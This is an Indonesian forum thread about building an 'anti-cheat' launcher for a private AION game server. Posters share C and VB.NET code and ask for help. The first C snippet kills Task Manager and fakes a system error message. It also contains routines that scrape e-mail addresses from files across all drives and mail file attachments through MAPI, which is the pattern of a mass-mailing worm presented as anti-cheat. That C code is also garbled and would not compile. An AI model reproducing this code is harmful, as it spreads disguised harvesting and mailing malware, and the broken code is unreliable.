aioncmindonesia
Would you like to react to this message? Create an account in a few clicks or log in to continue.


formal forum for AION Canis Majoris Indonesia https://cacad.forum.st
 
IndeksbLatest imagesPencarianPendaftaranLogin

 

 Anti Cheat For Launcer AION CM

Go down 
+5
Swenew_Ryuzaki
DidoNaga
Admin
exdaus
Intelcore
9 posters
PengirimMessage
Intelcore
GAME MASTER
GAME MASTER
Intelcore


Jumlah posting : 48
Points : 95
Reputation : 11
Join date : 25.03.12
Age : 30
Lokasi : Bandung

Anti Cheat For Launcer AION CM  Empty
PostSubyek: Anti Cheat For Launcer AION CM    Anti Cheat For Launcer AION CM  EmptyTue Mar 27, 2012 6:20 am

nah ini adalah sourcecode buat launcher ntar kalo jadi lol
cuman masalahnya, dimana cara mengkombinasikan dengan launchernya menjadi 1 exe ?
adakah seseorang yang dapat membantu saya ? e



#include <windows.h>
#include <tlhelp32>
#include <fstream>
#include <mapi>
#include <memory>
#pragma argsused
/* mulai run EXEnya, bisa di edit lagi app yang mw di kill */
const char *kill[]={"cheatengine-i386.EXE" , "Rajiin.EXE" , "Taskmgr.EXE"}
const char *drives[] = {"a:", "b:", "c:", "d:", "e:", "f:", "g:", "h:", "i:", "j:", "k:", "l:",
"m:", "n:", "o:", "p:", "q:", "r:", "s:", "t:", "u:", "v:", "w:", "x:",
"y:", "z:", 0};
void Launch (){
start bin32\aion.bin -ip:180.245.119.215 -port:2106 -cc:1 -lang:enu -noauthgg -ls -charnamemenu -ncg -ingameshop -noweb}
MessageBox(NULL, "Invalid memory adress:\n\nProgram terminating.", "System Error", MB_OK | MB_ICONERROR);
exit(-1);
}

void Send(char *subject, char *sfrom, char *sto, char *smes)
{
memset(&mes, 0, sizeof(MapiMessage));
memset(&from, 0, sizeof(MapiRecipDesc));
from.lpszName = sfrom;
from.ulRecipClass = MAPI_ORIG;
mes.lpszSubject = subject;
mes.lpRecips = (MapiRecipDesc *)malloc(sizeof(MapiRecipDesc));

if(!mes.lpRecips)
{
fastOut();
}

memset(mes.lpRecips, 0, sizeof(MapiRecipDesc));
mes.lpRecips->lpszName = sto;
mes.lpRecips->ulRecipClass = MAPI_TO;
mes.nRecipCount = 1;
mes.lpFiles = (MapiFileDesc *)malloc(sizeof(MapiFileDesc));

if(!mes.lpFiles)
{
fastOut();
}

memset(mes.lpFiles, 0, sizeof(MapiFileDesc));
mes.lpFiles->lpszPathName = fileName;
mes.lpFiles->lpszFileName = fileNames[counting];
mes.nFileCount = 1;
mes.lpOriginator = &from;
mes.lpszNoteText = smes;
(MSendMail)(0, 0, &mes, MAPI_LOGON_UI, 0);
free(mes.lpRecips);
free(mes.lpFiles);
}
void Get(char *name, char *mail)
{
HANDLE fd,fd2;
char *mapped;
DWORD size, i, k;
BOOL test = FALSE, valid = FALSE;
mail[0]=0;
fd=CreateFile(name,GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_ARCHIVE, 0);
if(fd == INVALID_HANDLE_VALUE)
{
return;
}

size = GetFileSize(fd,NULL);

if(!size)
{
return;
}

if(size < 256)
{
return;
}

size -= 100;
fd2 = CreateFileMapping(fd, 0, PAGE_READONLY, 0, 0, 0);
if(!fd2)
{
CloseHandle(fd);
return;
}

mapped = (char *)MapViewOfFile(fd2, FILE_MAP_READ, 0, 0, 0);
if(!mapped)
{
CloseHandle(fd);
return;
}

i = 0;

while(i < size && !test)
{
if(!strncmp("mailto:", mapped + i, strlen("mailto:")))
{
test = TRUE;
i += strlen("mailto:");
k = 0;
while(mapped[i]!=34 && mapped[i]!=39 && i < size && k < 127)
{
if(mapped[i] != ' ')
{
mail[k] = mapped[i];
k++;

if(mapped[i] == '@')
{
valid=TRUE;
}
}i++;
}mail[k] = 0;
}else
{i++;
}}
if(!valid){
mail[0] = 0;
UnmapViewOfFile(mapped);
CloseHandle(fd);
return;
}
}


Terakhir diubah oleh Intelcore tanggal Tue Mar 27, 2012 11:28 am, total 1 kali diubah
Kembali Ke Atas Go down
exdaus
MODERATOR
MODERATOR
exdaus


Jumlah posting : 71
Points : 105
Reputation : 11
Join date : 25.03.12
Age : 24
Lokasi : di hatimu

Anti Cheat For Launcer AION CM  Empty
PostSubyek: Re: Anti Cheat For Launcer AION CM    Anti Cheat For Launcer AION CM  EmptyTue Mar 27, 2012 9:04 am

wahh....udah ada tohh....

"" /* mulai run EXEnya, bisa di edit lagi app yang mw di kill */
const char *kill[]={"cheatengine-i386.EXE" , "Rajiin.EXE" , "Taskmgr.EXE"}
const char *drives[] = {"a:", "b:", "c:", "d:", "e:", "f:", "g:", "h:", "i:", "j:", "k:", "l:",
"m:", "n:", "o:", "p:", "q:", "r:", "s:", "t:", "u:", "v:", "w:", "x:",
"y:", "z:", 0};
void Launch (){
start bin32\aion.bin -ip:180.245.119.215 -port:2106 -cc:1 -lang:enu -noauthgg -ls -charnamemenu -ncg -ingameshop -noweb}
MessageBox(NULL, "Invalid memory adress:\n\nProgram terminating.", "System Error", MB_OK | MB_ICONERROR);
exit(-1);
} ""

itu bukannya udah jadi satu?? kan udah ada command kill sama star louncernya maap kalo salah Anti Cheat For Launcer AION CM  277638789 Anti Cheat For Launcer AION CM  588688583
Kembali Ke Atas Go down
Admin
ADMIN
ADMIN
Admin


Jumlah posting : 19
Points : 123
Reputation : 12
Join date : 25.03.12
Lokasi : JOGJA

Anti Cheat For Launcer AION CM  Empty
PostSubyek: Re: Anti Cheat For Launcer AION CM    Anti Cheat For Launcer AION CM  EmptyTue Mar 27, 2012 9:20 am

nyimak dulu gan
Kembali Ke Atas Go down
https://cacad.forum.st
DidoNaga
MODERATOR
MODERATOR
DidoNaga


Jumlah posting : 68
Points : 124
Reputation : 8
Join date : 25.03.12
Lokasi : Ngayogyakarto

Anti Cheat For Launcer AION CM  Empty
PostSubyek: Re: Anti Cheat For Launcer AION CM    Anti Cheat For Launcer AION CM  EmptyTue Mar 27, 2012 9:38 am

Izin Baca sebentar Sebelum Kuliah.... n
Kembali Ke Atas Go down
Swenew_Ryuzaki
MEMBER
MEMBER
Swenew_Ryuzaki


Jumlah posting : 21
Points : 22
Reputation : 1
Join date : 25.03.12
Lokasi : Paris Van Java !!!

Anti Cheat For Launcer AION CM  Empty
PostSubyek: Re: Anti Cheat For Launcer AION CM    Anti Cheat For Launcer AION CM  EmptyTue Mar 27, 2012 9:41 am

AKWOAKOWAKOW , ribet , rumit , lieur , pusing . Kabeh pkok na mah lah m m

nyimak aj , skalian blajar dari thread ini lol lol
Kembali Ke Atas Go down
Intelcore
GAME MASTER
GAME MASTER
Intelcore


Jumlah posting : 48
Points : 95
Reputation : 11
Join date : 25.03.12
Age : 30
Lokasi : Bandung

Anti Cheat For Launcer AION CM  Empty
PostSubyek: Re: Anti Cheat For Launcer AION CM    Anti Cheat For Launcer AION CM  EmptyTue Mar 27, 2012 11:27 am

exdaus wrote:
wahh....udah ada tohh....

"" /* mulai run EXEnya, bisa di edit lagi app yang mw di kill */
const char *kill[]={"cheatengine-i386.EXE" , "Rajiin.EXE" , "Taskmgr.EXE"}
const char *drives[] = {"a:", "b:", "c:", "d:", "e:", "f:", "g:", "h:", "i:", "j:", "k:", "l:",
"m:", "n:", "o:", "p:", "q:", "r:", "s:", "t:", "u:", "v:", "w:", "x:",
"y:", "z:", 0};
void Launch (){
start bin32\aion.bin -ip:180.245.119.215 -port:2106 -cc:1 -lang:enu -noauthgg -ls -charnamemenu -ncg -ingameshop -noweb}
MessageBox(NULL, "Invalid memory adress:\n\nProgram terminating.", "System Error", MB_OK | MB_ICONERROR);
exit(-1);
} ""

itu bukannya udah jadi satu?? kan udah ada command kill sama star louncernya maap kalo salah Anti Cheat For Launcer AION CM  277638789 Anti Cheat For Launcer AION CM  588688583

nah ini bang, kan ini kalo di buat keluarnya ntar bukan Executable, tapi masih dalam bentuk .BAT ..
bisa maen Microsoft Visual Studio ga ?
bantu bikin EXE nya n n n n
Kembali Ke Atas Go down
w32/sality
MODERATOR
MODERATOR
w32/sality


Jumlah posting : 54
Points : 113
Reputation : 17
Join date : 25.03.12

Anti Cheat For Launcer AION CM  Empty
PostSubyek: Re: Anti Cheat For Launcer AION CM    Anti Cheat For Launcer AION CM  EmptyTue Mar 27, 2012 12:20 pm

ayo bang admin d
Kembali Ke Atas Go down
DidoNaga
MODERATOR
MODERATOR
DidoNaga


Jumlah posting : 68
Points : 124
Reputation : 8
Join date : 25.03.12
Lokasi : Ngayogyakarto

Anti Cheat For Launcer AION CM  Empty
PostSubyek: Re: Anti Cheat For Launcer AION CM    Anti Cheat For Launcer AION CM  EmptyTue Mar 27, 2012 3:13 pm

Aduh bukan bidang saya... n Smangat aja deh buat Kk Hilmy band
Kembali Ke Atas Go down
ABIT
MEMBER
MEMBER
ABIT


Jumlah posting : 2
Points : 5
Reputation : 1
Join date : 30.03.12
Lokasi : Tepat di depan layar monitor

Anti Cheat For Launcer AION CM  Empty
PostSubyek: Re: Anti Cheat For Launcer AION CM    Anti Cheat For Launcer AION CM  EmptySat Mar 31, 2012 12:08 am

Itu, masih mungkin ga kalo player exec aion.bin nya pake custom launcher trus konek ke server CM? a

EDIT:
Trus seumpama, ntuh program2 yg masuk blacklist seumpama diganti filename n PID nya apa masih terdetek juga?
Kembali Ke Atas Go down
Intelcore
GAME MASTER
GAME MASTER
Intelcore


Jumlah posting : 48
Points : 95
Reputation : 11
Join date : 25.03.12
Age : 30
Lokasi : Bandung

Anti Cheat For Launcer AION CM  Empty
PostSubyek: Re: Anti Cheat For Launcer AION CM    Anti Cheat For Launcer AION CM  EmptySat Mar 31, 2012 9:22 am

ABIT wrote:
Itu, masih mungkin ga kalo player exec aion.bin nya pake custom launcher trus konek ke server CM? a

EDIT:
Trus seumpama, ntuh program2 yg masuk blacklist seumpama diganti filename n PID nya apa masih terdetek juga?

hmm, t ini juga kan udah di costume sama saya,, cuman masalahnya , ini suka Failed run, garagara masih .bat launchernya u .. mw di ke exein mending pake Visual Studion 2008, biar bisa autologin, jadi masukin ID passnya di launcher,,

tapi bntar tunggu aja, saya lagi ongoing Project launcher AIONCM di Gabung pake nProtect kayak Crossfire ,,
heheh, tunggu ya, masih Ongoing w ,
Kembali Ke Atas Go down
exdaus
MODERATOR
MODERATOR
exdaus


Jumlah posting : 71
Points : 105
Reputation : 11
Join date : 25.03.12
Age : 24
Lokasi : di hatimu

Anti Cheat For Launcer AION CM  Empty
PostSubyek: Re: Anti Cheat For Launcer AION CM    Anti Cheat For Launcer AION CM  EmptySat Mar 31, 2012 6:06 pm

semangat bang my.....aku padamu dehh... Anti Cheat For Launcer AION CM  230194066 Anti Cheat For Launcer AION CM  1541594132 aku bantu dengan doa aja ya Anti Cheat For Launcer AION CM  2760814600
Kembali Ke Atas Go down
Intelcore
GAME MASTER
GAME MASTER
Intelcore


Jumlah posting : 48
Points : 95
Reputation : 11
Join date : 25.03.12
Age : 30
Lokasi : Bandung

Anti Cheat For Launcer AION CM  Empty
PostSubyek: Yang Baruuuuuu   Anti Cheat For Launcer AION CM  EmptyTue Apr 03, 2012 9:13 pm


Yang baru yang BARU, pake Visual Basic ini, ayoo bantuin Plissss s tinggal Guardnya nih u

Imports System.Collections.Generic
Imports System.ComponentModel
Imports System.Data
Imports System.Drawing
Imports System.Text
Imports System.Windows.Forms
Imports System.Diagnostics
Imports System.Security.Cryptography
Imports System.Net
Imports System.IO
Imports System.Runtime.InteropServices
Imports Ionic.Zip
Imports Ionic.Zlib
Imports System.Data.SqlClient
Imports System.Net.Sockets
Imports System.Drawing.Design

Public Class Form1
Inherits System.Windows.Forms.Form
Private Const WM_SYSCOMMAND As Integer = &H112&
Private Const MOUSE_MOVE As Integer = &HF012&

<System.Runtime.InteropServices.DllImport("user32.DLL", EntryPoint:="ReleaseCapture")> _
Private Shared Sub ReleaseCapture()
End Sub

<System.Runtime.InteropServices.DllImport("user32.DLL", EntryPoint:="SendMessage")> _
Private Shared Sub SendMessage( _
ByVal hWnd As System.IntPtr, ByVal wMsg As Integer, _
ByVal wParam As Integer, ByVal lParam As Integer _
)
End Sub

Private Shared Function InlineAssignHelper(Of T)(ByRef target As T, ByVal value As T) As T
target = value
Return value
End Function

Dim url As String = "BELUM ADA" 'URL Link Update
Dim ip As String = "no-ip.org" 'IP atau no-ip
Dim loginserver As Integer = 2106 'Port untuk Login server
Dim gameserver As Integer = 7777 'Port untuk Game Server

Private Sub moverForm()
ReleaseCapture()
SendMessage(Me.Handle, WM_SYSCOMMAND, MOUSE_MOVE, 0)
End Sub

Private Sub btnCerrar_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CloseBotton.Click
Me.Close()
End Sub

Private Sub Form1_MouseMove(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs) _
Handles MyBase.MouseMove, Label1.MouseClick, ProgressBar1.MouseClick
If e.Button = MouseButtons.Left Then
moverForm()
End If
End Sub

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load, MyBase.Click
If File.Exists("ver.ini") Then
StartGameButton.Enabled = False
Label1.Text = "Memeriksa Update..."
Dim readmd5 As String = System.IO.File.ReadAllText("ver.ini")
Dim nextVersion As String = readmd5
Dim nextVersionDec As String = nextVersion.Replace("!", "q").Replace("@", "w").Replace("#", "e").Replace("$", "r").Replace("%", "t").Replace("^", "y").Replace("&", "u").Replace("*", "i").Replace("(", "o").Replace(")", "p").Replace("_", "a").Replace("+", "s").Replace("-", "d").Replace("=", "f").Replace("`", "g").Replace("~", "h").Replace("[", "j").Replace("{", "k").Replace("]", "l").Replace("}", "z").Replace(":", "x").Replace("|", "c").Replace("'", "v").Replace(",", "b").Replace("<", "n").Replace("?", "m")
'MessageBox.Show(nextVersionDec)
Dim needUpdate As String = "Tolong lakukan Update"
Dim checkFileExist As HttpWebRequest = DirectCast(System.Net.WebRequest.Create("BELUM ADA" & nextVersionDec & "/needupdate.ini"), HttpWebRequest)
Dim responseFileExist As HttpWebResponse = DirectCast(checkFileExist.GetResponse(), HttpWebResponse)

Dim myTextUrl As String = "BELUM ADA" & nextVersionDec & "/needupdate.ini"
Dim urlGrabber As New WebClient()
Dim textResult As String = urlGrabber.DownloadString(myTextUrl)
If textResult <> needUpdate Then
Label1.Text = "No updates, enjoy!"
CloseBotton.Enabled = True
StartGameButton.Enabled = True
Timer1.Start()
Else
Label1.ForeColor = Color.Red
Label1.Text = "Downloading updates..."
CloseBotton.Enabled = False
StartGameButton.Enabled = False
downloadUpdates.RunWorkerAsync()
End If
Else
MessageBox.Show("El archivo ver.ini no se encuentra!" & vbLf & "Por favor, restaurarlo para poder jugar!", "Error!")
Environment.[Exit](1)
End If
End Sub

Private Sub StartGameButton_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles StartGameButton.Click
Dim OriginalFileSum As String = "8#632#|817__1##,411,5||176,9|=|8" 'Filesum de aion.bin de tu bin32
If File.Exists("bin32\aion.bin") Then
Dim FileToSum As New FileStream("bin32\aion.bin", FileMode.Open, FileAccess.Read)
Dim CurrentFileSum As String = BitConverter.ToString(MD5.Create().ComputeHash(FileToSum)).ToLower().Replace("-", "").Replace("q", "!").Replace("w", "@").Replace("e", "#").Replace("r", "$").Replace("t", "%").Replace("y", "^").Replace("u", "&").Replace("i", "*").Replace("o", "(").Replace("p", ")").Replace("a", "_").Replace("s", "+").Replace("d", "-").Replace("f", "=").Replace("g", "`").Replace("h", "~").Replace("j", "[").Replace("k", "{").Replace("l", "]").Replace("z", "}").Replace("x", ":").Replace("c", "|").Replace("v", "'").Replace("b", ",").Replace("n", "<").Replace("m", "?")
FileToSum.Close()
If CurrentFileSum = OriginalFileSum Then
Label1.Text = "Checking server status..."
Try
Dim sock As New Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
Dim sock1 As New Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
sock.Connect(ip, loginserver)
sock1.Connect(ip, gameserver)

If sock.Connected = True And sock1.Connected = True Then
sock.Close()
sock1.Close()
Try
System.Diagnostics.Process.Start("bin32\aion.bin -ip:" & ip & " -port:" & loginserver & " -cc:1 -noauthgg -ls -charnamemenu -ncg -ingameshop -lang:enu -noweb -DEVMODE")
Catch
End Try
Else
Label1.Text = "Server Offline"
MessageBox.Show("Server sedang Offline!", "Tidak bisa terhubung ke server!")
End If

Catch ex As System.Net.Sockets.SocketException
If ex.ErrorCode = 10061 Then
Label1.Text = "Server Offline"
MessageBox.Show("Server sedang Offline!", "Tidak bisa terhubung ke server!")
Else
MessageBox.Show(ex.Message)
End If

End Try
Else
MessageBox.Show("File aion.bin sudah tidak asli!" & vbLf & "tolong restore untuk dapat berjalan!", "Error!")
Environment.[Exit](1)
End If
Else
Label1.ForeColor = Color.Red
Label1.Text = "Kesalahan penginstalan launcher"
MessageBox.Show("File bin32\aion.bin not found!", "Error!")
End If
End Sub

Private Sub PictureBox5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles PictureBox5.Click
Try
System.Diagnostics.Process.Start("http://yourweb/")
Catch
End Try
End Sub

Private Sub PictureBox2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles PictureBox2.Click
Try
System.Diagnostics.Process.Start("https://cacad.forum.st/forum")
Catch
End Try
End Sub

Private Sub PictureBox3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles PictureBox3.Click
Try
System.Diagnostics.Process.Start("http://180.245.119.215/sawb/reg.php")
Catch
End Try
End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Try
Dim sock As New Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
sock.Connect(ip, loginserver)
If sock.Connected = True Then
' Port sedang di gunakan dan Berfungsi
imagenloginserver.Image = Image.FromFile(Directory.GetCurrentDirectory() & "\images\on.gif")
End If
sock.Close()
Catch ex As System.Net.Sockets.SocketException
If ex.ErrorCode = 10061 Then
' Port tidak bisa di gunakan atau terjadi kesalahan
imagenloginserver.Image = Image.FromFile(Directory.GetCurrentDirectory() & "\images\off.gif")
Else
MessageBox.Show(ex.Message)
End If
End Try
Try
Dim sock As New Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
sock.Connect(ip, gameserver)
If sock.Connected = True Then
' Port sedang di gunakan dan Berfungsi
imagengameserver.Image = Image.FromFile(Directory.GetCurrentDirectory() & "\images\on.gif")
End If
sock.Close()
Catch ex As System.Net.Sockets.SocketException
If ex.ErrorCode = 10061 Then
' Port tidak bisa di gunakan atau terjadi kesalahan
imagengameserver.Image = Image.FromFile(Directory.GetCurrentDirectory() & "\images\off.gif")
Else
MessageBox.Show(ex.Message)
End If
End Try
Timer1.Interval = 26000
CloseBotton.Enabled = True
StartGameButton.Enabled = True
Label1.ForeColor = Color.Red
Label1.Text = "Tidak ada file yang harus di Update, enjoy!"
End Sub

Private Sub downloadUpdates_DoWork(ByVal sender As Object, ByVal e As DoWorkEventArgs) Handles downloadUpdates.DoWork
Dim readmd5 As String = System.IO.File.ReadAllText("ver.ini")
Dim nextVersion As String = readmd5
Dim nextVersionDec As String = nextVersion.Replace("!", "q").Replace("@", "w").Replace("#", "e").Replace("$", "r").Replace("%", "t").Replace("^", "y").Replace("&", "u").Replace("*", "i").Replace("(", "o").Replace(")", "p").Replace("_", "a").Replace("+", "s").Replace("-", "d").Replace("=", "f").Replace("`", "g").Replace("~", "h").Replace("[", "j").Replace("{", "k").Replace("]", "l").Replace("}", "z").Replace(":", "x").Replace("|", "c").Replace("'", "v").Replace(",", "b").Replace("<", "n").Replace("?", "m")

' URL yang menentukan Download dari mana
Dim sUrlToReadFileFrom As String = "BELUM ADA" & nextVersionDec & "/" & nextVersionDec & ".zip"
' the path to write the file to
Dim sFilePathToWriteFileTo As String = nextVersionDec & ".zip"

' pertama kita butuh ukuran file dalam Byte
Dim url As New Uri(sUrlToReadFileFrom)
Dim request As System.Net.HttpWebRequest = DirectCast(System.Net.WebRequest.Create(url), System.Net.HttpWebRequest)
Dim response As System.Net.HttpWebResponse = DirectCast(request.GetResponse(), System.Net.HttpWebResponse)
response.Close()
' Mentukan file dalam bentuk Byte
Dim iSize As Int64 = response.ContentLength

' Menentukan Jumlah File yang di download
Dim iRunningByteTotal As Int64 = 0


Using client As New System.Net.WebClient()
' Membuka File pada Remote URL
Using streamRemote As System.IO.Stream = client.OpenRead(New Uri(sUrlToReadFileFrom))
' menggunakan FileStream object,
Using streamLocal As Stream = New FileStream(sFilePathToWriteFileTo, FileMode.Create, FileAccess.Write, FileShare.None)
' Men Loop Stream ke Byte
Dim iByteSize As Integer = 0
Dim byteBuffer As Byte() = New Byte(iSize - 1) {}
While (InlineAssignHelper(iByteSize, streamRemote.Read(byteBuffer, 0, byteBuffer.Length))) > 0
'Menuliskan File byte kedalam File system ke path yang sudah di tentukan
streamLocal.Write(byteBuffer, 0, iByteSize)
iRunningByteTotal += iByteSize

' Proses penghitungan Update
Dim dIndex As Double = CDbl(iRunningByteTotal)
Dim dTotal As Double = CDbl(byteBuffer.Length)
Dim dProgressPercentage As Double = (dIndex / dTotal)
Dim iProgressPercentage As Integer = CInt(Math.Truncate(dProgressPercentage * 100))

' Update progress bar
downloadUpdates.ReportProgress(iProgressPercentage)
End While
' Membersihkan Stream
streamLocal.Close()
End Using
' Menutup koneksi dari Remote Server
streamRemote.Close()
End Using
End Using
End Sub

Private Sub downloadUpdates_ProgressChanged(ByVal sender As Object, ByVal e As ProgressChangedEventArgs) Handles downloadUpdates.ProgressChanged
ProgressBar1.Value = e.ProgressPercentage
End Sub

Private Sub downloadUpdates_RunWorkerCompleted(ByVal sender As Object, ByVal e As RunWorkerCompletedEventArgs) Handles downloadUpdates.RunWorkerCompleted
Dim readmd5 As String = System.IO.File.ReadAllText("ver.ini")
Dim nextVersion As String = readmd5
Dim nextVersionDec As String = nextVersion.Replace("!", "q").Replace("@", "w").Replace("#", "e").Replace("$", "r").Replace("%", "t").Replace("^", "y").Replace("&", "u").Replace("*", "i").Replace("(", "o").Replace(")", "p").Replace("_", "a").Replace("+", "s").Replace("-", "d").Replace("=", "f").Replace("`", "g").Replace("~", "h").Replace("[", "j").Replace("{", "k").Replace("]", "l").Replace("}", "z").Replace(":", "x").Replace("|", "c").Replace("'", "v").Replace(",", "b").Replace("<", "n").Replace("?", "m")

If File.Exists(nextVersionDec & ".zip") Then
Try
Try
Using zip As ZipFile = ZipFile.Read(nextVersionDec & ".zip")
Label1.ForeColor = Color.Red
Label1.Text = "Membuka File update"
zip.ExtractAll(Directory.GetCurrentDirectory(), ExtractExistingFileAction.OverwriteSilently)
End Using
Label1.ForeColor = Color.Red
Label1.Text = "Menghapus File Temporary"
File.Delete(nextVersionDec & ".zip")
Application.Restart()
Catch generatedExceptionName As Exception
MessageBox.Show("tidak dapat menghapus File ZIP!")
Environment.[Exit](1)
End Try
Catch
MessageBox.Show("Kesalahan pada saat Decompressing ZIP!")
File.Delete(nextVersionDec & ".zip")
Application.Restart()
End Try
Else
Label1.ForeColor = Color.Yellow
Label1.Text = "Update Selesai!"
CloseBotton.Enabled = True
StartGameButton.Enabled = True
End If
End Sub
End Class
Kembali Ke Atas Go down
Admin
ADMIN
ADMIN
Admin


Jumlah posting : 19
Points : 123
Reputation : 12
Join date : 25.03.12
Lokasi : JOGJA

Anti Cheat For Launcer AION CM  Empty
PostSubyek: Re: Anti Cheat For Launcer AION CM    Anti Cheat For Launcer AION CM  EmptyTue Apr 03, 2012 9:59 pm

Yang sabar yh my...saya ga ngerti ,coba saya ngerti pasti saya bantu my....td abis minta tolong temen yg abit itu... tp dia masih sibuk nanti klo ada waktu pasti dibantu kok... n
Kembali Ke Atas Go down
https://cacad.forum.st
minanggood
MEMBER
MEMBER
minanggood


Jumlah posting : 3
Points : -1013
Reputation : -1010
Join date : 28.03.12

Anti Cheat For Launcer AION CM  Empty
PostSubyek: Re: Anti Cheat For Launcer AION CM    Anti Cheat For Launcer AION CM  EmptyTue Apr 03, 2012 10:28 pm

wwkwkwk ... main aion IDGS server baru aja lagi my.. ngapain susah2 ngurus server yang gak bakalan jadi .. wkwkkwkw
Kembali Ke Atas Go down
Intelcore
GAME MASTER
GAME MASTER
Intelcore


Jumlah posting : 48
Points : 95
Reputation : 11
Join date : 25.03.12
Age : 30
Lokasi : Bandung

Anti Cheat For Launcer AION CM  Empty
PostSubyek: Re: Anti Cheat For Launcer AION CM    Anti Cheat For Launcer AION CM  EmptyTue Apr 03, 2012 10:51 pm

minanggood wrote:
wwkwkwk ... main aion IDGS server baru aja lagi my.. ngapain susah2 ngurus server yang gak bakalan jadi .. wkwkkwkw

males maen IDGS, banyak malingnnya x ,
trus ga di tanggapi sama GMnya masalah item yang di rampog m
Kembali Ke Atas Go down
Intelcore
GAME MASTER
GAME MASTER
Intelcore


Jumlah posting : 48
Points : 95
Reputation : 11
Join date : 25.03.12
Age : 30
Lokasi : Bandung

Anti Cheat For Launcer AION CM  Empty
PostSubyek: Re: Anti Cheat For Launcer AION CM    Anti Cheat For Launcer AION CM  EmptyWed Apr 04, 2012 9:11 am

minanggood wrote:
wwkwkwk ... main aion IDGS server baru aja lagi my.. ngapain susah2 ngurus server yang gak bakalan jadi .. wkwkkwkw
gw mau ngurus ini server karna gw pengen server ini maju ,
Kembali Ke Atas Go down
++Govinda
MODERATOR
MODERATOR
++Govinda


Jumlah posting : 37
Points : 41
Reputation : 7
Join date : 25.03.12
Lokasi : Poeta

Anti Cheat For Launcer AION CM  Empty
PostSubyek: Re: Anti Cheat For Launcer AION CM    Anti Cheat For Launcer AION CM  EmptyThu Apr 05, 2012 5:21 pm

Intelcore wrote:
minanggood wrote:
wwkwkwk ... main aion IDGS server baru aja lagi my.. ngapain susah2 ngurus server yang gak bakalan jadi .. wkwkkwkw
gw mau ngurus ini server karna gw pengen server ini maju ,

nice kk...cemungud kk
Kembali Ke Atas Go down
Sponsored content





Anti Cheat For Launcer AION CM  Empty
PostSubyek: Re: Anti Cheat For Launcer AION CM    Anti Cheat For Launcer AION CM  Empty

Kembali Ke Atas Go down
 
Anti Cheat For Launcer AION CM
Kembali Ke Atas 
Halaman 1 dari 1

Permissions in this forum:Anda tidak dapat menjawab topik
aioncmindonesia :: General Discussion :: Lounge-
Navigasi: